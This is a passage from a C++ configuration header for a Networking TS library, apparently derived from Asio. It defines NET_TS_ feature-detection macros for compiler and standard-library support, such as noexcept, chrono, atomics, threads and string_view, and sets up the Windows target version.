# endif // defined(NET_TS_HAS_CONSTEXPR)
#endif // !defined(NET_TS_CONSTEXPR)
// Support noexcept on compilers known to allow it.
#if !defined(NET_TS_NOEXCEPT)
# if !defined(NET_TS_DISABLE_NOEXCEPT)
# if (BOOST_VERSION >= 105300)
# define NET_TS_NOEXCEPT BOOST_NOEXCEPT
# define NET_TS_NOEXCEPT_OR_NOTHROW BOOST_NOEXCEPT_OR_NOTHROW
# elif defined(__clang__)
# if __has_feature(__cxx_noexcept__)
# define NET_TS_NOEXCEPT noexcept(true)
# define NET_TS_NOEXCEPT_OR_NOTHROW noexcept(true)
# endif // __has_feature(__cxx_noexcept__)
# elif defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_NOEXCEPT noexcept(true)
# define NET_TS_NOEXCEPT_OR_NOTHROW noexcept(true)
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# elif defined(NET_TS_MSVC)
# if (_MSC_VER >= 1900)
# define NET_TS_NOEXCEPT noexcept(true)
# define NET_TS_NOEXCEPT_OR_NOTHROW noexcept(true)
# endif // (_MSC_VER >= 1900)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_NOEXCEPT)
# if !defined(NET_TS_NOEXCEPT)
# define NET_TS_NOEXCEPT
# endif // !defined(NET_TS_NOEXCEPT)
# if !defined(NET_TS_NOEXCEPT_OR_NOTHROW)
# define NET_TS_NOEXCEPT_OR_NOTHROW throw()
# endif // !defined(NET_TS_NOEXCEPT_OR_NOTHROW)
#endif // !defined(NET_TS_NOEXCEPT)
// Support automatic type deduction on compilers known to support it.
#if !defined(NET_TS_HAS_DECLTYPE)
# if !defined(NET_TS_DISABLE_DECLTYPE)
# if defined(__clang__)
# if __has_feature(__cxx_decltype__)
# define NET_TS_HAS_DECLTYPE 1
# endif // __has_feature(__cxx_decltype__)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_DECLTYPE 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_DECLTYPE 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_DECLTYPE)
#endif // !defined(NET_TS_HAS_DECLTYPE)
// Standard library support for system errors.
#if !defined(NET_TS_HAS_STD_SYSTEM_ERROR)
# if !defined(NET_TS_DISABLE_STD_SYSTEM_ERROR)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_SYSTEM_ERROR 1
# elif (__cplusplus >= 201103)
# if __has_include(<system_error>)
# define NET_TS_HAS_STD_SYSTEM_ERROR 1
# endif // __has_include(<system_error>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_SYSTEM_ERROR 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_SYSTEM_ERROR 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_SYSTEM_ERROR)
#endif // !defined(NET_TS_HAS_STD_SYSTEM_ERROR)
// Compliant C++11 compilers put noexcept specifiers on error_category members.
#if !defined(NET_TS_ERROR_CATEGORY_NOEXCEPT)
# if (BOOST_VERSION >= 105300)
# define NET_TS_ERROR_CATEGORY_NOEXCEPT BOOST_NOEXCEPT
# elif defined(__clang__)
# if __has_feature(__cxx_noexcept__)
# define NET_TS_ERROR_CATEGORY_NOEXCEPT noexcept(true)
# endif // __has_feature(__cxx_noexcept__)
# elif defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_ERROR_CATEGORY_NOEXCEPT noexcept(true)
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# elif defined(NET_TS_MSVC)
# if (_MSC_VER >= 1900)
# define NET_TS_ERROR_CATEGORY_NOEXCEPT noexcept(true)
# endif // (_MSC_VER >= 1900)
# endif // defined(NET_TS_MSVC)
# if !defined(NET_TS_ERROR_CATEGORY_NOEXCEPT)
# define NET_TS_ERROR_CATEGORY_NOEXCEPT
# endif // !defined(NET_TS_ERROR_CATEGORY_NOEXCEPT)
#endif // !defined(NET_TS_ERROR_CATEGORY_NOEXCEPT)
// Standard library support for arrays.
#if !defined(NET_TS_HAS_STD_ARRAY)
# if !defined(NET_TS_DISABLE_STD_ARRAY)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_ARRAY 1
# elif (__cplusplus >= 201103)
# if __has_include(<array>)
# define NET_TS_HAS_STD_ARRAY 1
# endif // __has_include(<array>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_ARRAY 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1600)
# define NET_TS_HAS_STD_ARRAY 1
# endif // (_MSC_VER >= 1600)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_ARRAY)
#endif // !defined(NET_TS_HAS_STD_ARRAY)
// Standard library support for shared_ptr and weak_ptr.
#if !defined(NET_TS_HAS_STD_SHARED_PTR)
# if !defined(NET_TS_DISABLE_STD_SHARED_PTR)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_SHARED_PTR 1
# elif (__cplusplus >= 201103)
# define NET_TS_HAS_STD_SHARED_PTR 1
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_SHARED_PTR 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1600)
# define NET_TS_HAS_STD_SHARED_PTR 1
# endif // (_MSC_VER >= 1600)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_SHARED_PTR)
#endif // !defined(NET_TS_HAS_STD_SHARED_PTR)
// Standard library support for allocator_arg_t.
#if !defined(NET_TS_HAS_STD_ALLOCATOR_ARG)
# if !defined(NET_TS_DISABLE_STD_ALLOCATOR_ARG)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_ALLOCATOR_ARG 1
# elif (__cplusplus >= 201103)
# define NET_TS_HAS_STD_ALLOCATOR_ARG 1
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_ALLOCATOR_ARG 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1600)
# define NET_TS_HAS_STD_ALLOCATOR_ARG 1
# endif // (_MSC_VER >= 1600)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_ALLOCATOR_ARG)
#endif // !defined(NET_TS_HAS_STD_ALLOCATOR_ARG)
// Standard library support for atomic operations.
#if !defined(NET_TS_HAS_STD_ATOMIC)
# if !defined(NET_TS_DISABLE_STD_ATOMIC)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_ATOMIC 1
# elif (__cplusplus >= 201103)
# if __has_include(<atomic>)
# define NET_TS_HAS_STD_ATOMIC 1
# endif // __has_include(<atomic>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_ATOMIC 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_ATOMIC 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_ATOMIC)
#endif // !defined(NET_TS_HAS_STD_ATOMIC)
// Standard library support for chrono. Some standard libraries (such as the
// libstdc++ shipped with gcc 4.6) provide monotonic_clock as per early C++0x
// drafts, rather than the eventually standardised name of steady_clock.
#if !defined(NET_TS_HAS_STD_CHRONO)
# if !defined(NET_TS_DISABLE_STD_CHRONO)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_CHRONO 1
# elif (__cplusplus >= 201103)
# if __has_include(<chrono>)
# define NET_TS_HAS_STD_CHRONO 1
# endif // __has_include(<chrono>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_CHRONO 1
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ == 6))
# define NET_TS_HAS_STD_CHRONO_MONOTONIC_CLOCK 1
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ == 6))
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_CHRONO 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_CHRONO)
#endif // !defined(NET_TS_HAS_STD_CHRONO)
// Boost support for chrono.
#if !defined(NET_TS_HAS_BOOST_CHRONO)
# if !defined(NET_TS_DISABLE_BOOST_CHRONO)
# if (BOOST_VERSION >= 104700)
# define NET_TS_HAS_BOOST_CHRONO 1
# endif // (BOOST_VERSION >= 104700)
# endif // !defined(NET_TS_DISABLE_BOOST_CHRONO)
#endif // !defined(NET_TS_HAS_BOOST_CHRONO)
// Some form of chrono library is available.
#if !defined(NET_TS_HAS_CHRONO)
# if defined(NET_TS_HAS_STD_CHRONO) \
|| defined(NET_TS_HAS_BOOST_CHRONO)
# define NET_TS_HAS_CHRONO 1
# endif // defined(NET_TS_HAS_STD_CHRONO)
// || defined(NET_TS_HAS_BOOST_CHRONO)
#endif // !defined(NET_TS_HAS_CHRONO)
// Boost support for the DateTime library.
#if !defined(NET_TS_HAS_BOOST_DATE_TIME)
# if !defined(NET_TS_DISABLE_BOOST_DATE_TIME)
# define NET_TS_HAS_BOOST_DATE_TIME 1
# endif // !defined(NET_TS_DISABLE_BOOST_DATE_TIME)
#endif // !defined(NET_TS_HAS_BOOST_DATE_TIME)
// Standard library support for addressof.
#if !defined(NET_TS_HAS_STD_ADDRESSOF)
# if !defined(NET_TS_DISABLE_STD_ADDRESSOF)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_ADDRESSOF 1
# elif (__cplusplus >= 201103)
# define NET_TS_HAS_STD_ADDRESSOF 1
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_ADDRESSOF 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_ADDRESSOF 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_ADDRESSOF)
#endif // !defined(NET_TS_HAS_STD_ADDRESSOF)
// Standard library support for the function class.
#if !defined(NET_TS_HAS_STD_FUNCTION)
# if !defined(NET_TS_DISABLE_STD_FUNCTION)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_FUNCTION 1
# elif (__cplusplus >= 201103)
# define NET_TS_HAS_STD_FUNCTION 1
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_FUNCTION 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_FUNCTION 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_FUNCTION)
#endif // !defined(NET_TS_HAS_STD_FUNCTION)
// Standard library support for type traits.
#if !defined(NET_TS_HAS_STD_TYPE_TRAITS)
# if !defined(NET_TS_DISABLE_STD_TYPE_TRAITS)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_TYPE_TRAITS 1
# elif (__cplusplus >= 201103)
# if __has_include(<type_traits>)
# define NET_TS_HAS_STD_TYPE_TRAITS 1
# endif // __has_include(<type_traits>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_TYPE_TRAITS 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_TYPE_TRAITS 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_TYPE_TRAITS)
#endif // !defined(NET_TS_HAS_STD_TYPE_TRAITS)
// Standard library support for the nullptr_t type.
#if !defined(NET_TS_HAS_NULLPTR)
# if !defined(NET_TS_DISABLE_NULLPTR)
# if defined(__clang__)
# if __has_feature(__cxx_nullptr__)
# define NET_TS_HAS_NULLPTR 1
# endif // __has_feature(__cxx_rvalue_references__)
# elif defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_NULLPTR 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_NULLPTR 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_NULLPTR)
#endif // !defined(NET_TS_HAS_NULLPTR)
// Standard library support for the C++11 allocator additions.
#if !defined(NET_TS_HAS_CXX11_ALLOCATORS)
# if !defined(NET_TS_DISABLE_CXX11_ALLOCATORS)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_CXX11_ALLOCATORS 1
# elif (__cplusplus >= 201103)
# define NET_TS_HAS_CXX11_ALLOCATORS 1
# endif // (__cplusplus >= 201103)
# elif defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_CXX11_ALLOCATORS 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_CXX11_ALLOCATORS 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_CXX11_ALLOCATORS)
#endif // !defined(NET_TS_HAS_CXX11_ALLOCATORS)
// Standard library support for the cstdint header.
#if !defined(NET_TS_HAS_CSTDINT)
# if !defined(NET_TS_DISABLE_CSTDINT)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_CSTDINT 1
# elif (__cplusplus >= 201103)
# define NET_TS_HAS_CSTDINT 1
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_CSTDINT 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 5)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_CSTDINT 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_CSTDINT)
#endif // !defined(NET_TS_HAS_CSTDINT)
// Standard library support for the thread class.
#if !defined(NET_TS_HAS_STD_THREAD)
# if !defined(NET_TS_DISABLE_STD_THREAD)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_THREAD 1
# elif (__cplusplus >= 201103)
# if __has_include(<thread>)
# define NET_TS_HAS_STD_THREAD 1
# endif // __has_include(<thread>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_THREAD 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_THREAD 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_THREAD)
#endif // !defined(NET_TS_HAS_STD_THREAD)
// Standard library support for the mutex and condition variable classes.
#if !defined(NET_TS_HAS_STD_MUTEX_AND_CONDVAR)
# if !defined(NET_TS_DISABLE_STD_MUTEX_AND_CONDVAR)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_MUTEX_AND_CONDVAR 1
# elif (__cplusplus >= 201103)
# if __has_include(<mutex>)
# define NET_TS_HAS_STD_MUTEX_AND_CONDVAR 1
# endif // __has_include(<mutex>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_MUTEX_AND_CONDVAR 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_MUTEX_AND_CONDVAR 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_MUTEX_AND_CONDVAR)
#endif // !defined(NET_TS_HAS_STD_MUTEX_AND_CONDVAR)
// Standard library support for the call_once function.
#if !defined(NET_TS_HAS_STD_CALL_ONCE)
# if !defined(NET_TS_DISABLE_STD_CALL_ONCE)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_CALL_ONCE 1
# elif (__cplusplus >= 201103)
# if __has_include(<mutex>)
# define NET_TS_HAS_STD_CALL_ONCE 1
# endif // __has_include(<mutex>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_CALL_ONCE 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_CALL_ONCE 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_CALL_ONCE)
#endif // !defined(NET_TS_HAS_STD_CALL_ONCE)
// Standard library support for futures.
#if !defined(NET_TS_HAS_STD_FUTURE)
# if !defined(NET_TS_DISABLE_STD_FUTURE)
# if defined(__clang__)
# if defined(NET_TS_HAS_CLANG_LIBCXX)
# define NET_TS_HAS_STD_FUTURE 1
# elif (__cplusplus >= 201103)
# if __has_include(<future>)
# define NET_TS_HAS_STD_FUTURE 1
# endif // __has_include(<mutex>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# if defined(__GXX_EXPERIMENTAL_CXX0X__)
# define NET_TS_HAS_STD_FUTURE 1
# endif // defined(__GXX_EXPERIMENTAL_CXX0X__)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# if defined(NET_TS_MSVC)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_STD_FUTURE 1
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC)
# endif // !defined(NET_TS_DISABLE_STD_FUTURE)
#endif // !defined(NET_TS_HAS_STD_FUTURE)
// Standard library support for experimental::string_view.
#if !defined(NET_TS_HAS_STD_STRING_VIEW)
# if !defined(NET_TS_DISABLE_STD_STRING_VIEW)
# if defined(__clang__)
# if (__cplusplus >= 201103)
# if __has_include(<experimental/string_view>)
# define NET_TS_HAS_STD_STRING_VIEW 1
# define NET_TS_HAS_STD_EXPERIMENTAL_STRING_VIEW 1
# endif // __has_include(<experimental/string_view>)
# endif // (__cplusplus >= 201103)
# endif // defined(__clang__)
# if defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 9)) || (__GNUC__ > 4)
# if (__cplusplus >= 201300)
# define NET_TS_HAS_STD_STRING_VIEW 1
# define NET_TS_HAS_STD_EXPERIMENTAL_STRING_VIEW 1
# endif // (__cplusplus >= 201300)
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 4)
# endif // defined(__GNUC__)
# endif // !defined(NET_TS_DISABLE_STD_STRING_VIEW)
#endif // !defined(NET_TS_HAS_STD_STRING_VIEW)
// Windows App target. Windows but with a limited API.
#if !defined(NET_TS_WINDOWS_APP)
# if defined(_WIN32_WINNT) && (_WIN32_WINNT >= 0x0603)
# include <winapifamily.h>
# if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) \
&& !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# define NET_TS_WINDOWS_APP 1
# endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)
// && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# endif // defined(_WIN32_WINNT) && (_WIN32_WINNT >= 0x0603)
#endif // !defined(NET_TS_WINDOWS_APP)
// Legacy WinRT target. Windows App is preferred.
#if !defined(NET_TS_WINDOWS_RUNTIME)
# if !defined(NET_TS_WINDOWS_APP)
# if defined(__cplusplus_winrt)
# include <winapifamily.h>
# if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) \
&& !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# define NET_TS_WINDOWS_RUNTIME 1
# endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)
// && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# endif // defined(__cplusplus_winrt)
# endif // !defined(NET_TS_WINDOWS_APP)
#endif // !defined(NET_TS_WINDOWS_RUNTIME)
// Windows target. Excludes WinRT but includes Windows App targets.
#if !defined(NET_TS_WINDOWS)
# if !defined(NET_TS_WINDOWS_RUNTIME)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_WINDOWS)
# define NET_TS_WINDOWS 1
# elif defined(WIN32) || defined(_WIN32) || defined(__WIN32__)
# define NET_TS_WINDOWS 1
# elif defined(NET_TS_WINDOWS_APP)
# define NET_TS_WINDOWS 1
# endif // defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_WINDOWS)
# endif // !defined(NET_TS_WINDOWS_RUNTIME)
#endif // !defined(NET_TS_WINDOWS)
// Windows: target OS version.
#if defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# if !defined(_WIN32_WINNT) && !defined(_WIN32_WINDOWS)
# if defined(_MSC_VER) || defined(__BORLANDC__)
# pragma message( \
"Please define _WIN32_WINNT or _WIN32_WINDOWS appropriately. For example:\n"\
"- add -D_WIN32_WINNT=0x0501 to the compiler command line; or\n"\
"- add _WIN32_WINNT=0x0501 to your project's Preprocessor Definitions.\n"\
"Assuming _WIN32_WINNT=0x0501 (i.e. Windows XP target).")
# else // defined(_MSC_VER) || defined(__BORLANDC__)
# warning Please define _WIN32_WINNT or _WIN32_WINDOWS appropriately.
# warning For example, add -D_WIN32_WINNT=0x0501 to the compiler command line.
# warning Assuming _WIN32_WINNT=0x0501 (i.e. Windows XP target).
# endif // defined(_MSC_VER) || defined(__BORLANDC__)
# define _WIN32_WINNT 0x0501
# endif // !defined(_WIN32_WINNT) && !defined(_WIN32_WINDOWS)
# if defined(_MSC_VER)
# if defined(_WIN32) && !defined(WIN32)
# if !defined(_WINSOCK2API_)
# define WIN32 // Needed for correct types in winsock2.h
# else // !defined(_WINSOCK2API_)
# error Please define the macro WIN32 in your compiler options
# endif // !defined(_WINSOCK2API_)
# endif // defined(_WIN32) && !defined(WIN32)
# endif // defined(_MSC_VER)
# if defined(__BORLANDC__)
# if defined(__WIN32__) && !defined(WIN32)
# if !defined(_WINSOCK2API_)
# define WIN32 // Needed for correct types in winsock2.h
# else // !defined(_WINSOCK2API_)
# error Please define the macro WIN32 in your compiler options
# endif // !defined(_WINSOCK2API_)
# endif // defined(__WIN32__) && !defined(WIN32)
# endif // defined(__BORLANDC__)
# if defined(__CYGWIN__)
# if !defined(__USE_W32_SOCKETS)
# error You must add -D__USE_W32_SOCKETS to your compiler options.
# endif // !defined(__USE_W32_SOCKETS)
# endif // defined(__CYGWIN__)
#endif // defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
// Windows: minimise header inclusion.
#if defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# if !defined(NET_TS_NO_WIN32_LEAN_AND_MEAN)
# if !defined(WIN32_LEAN_AND_MEAN)
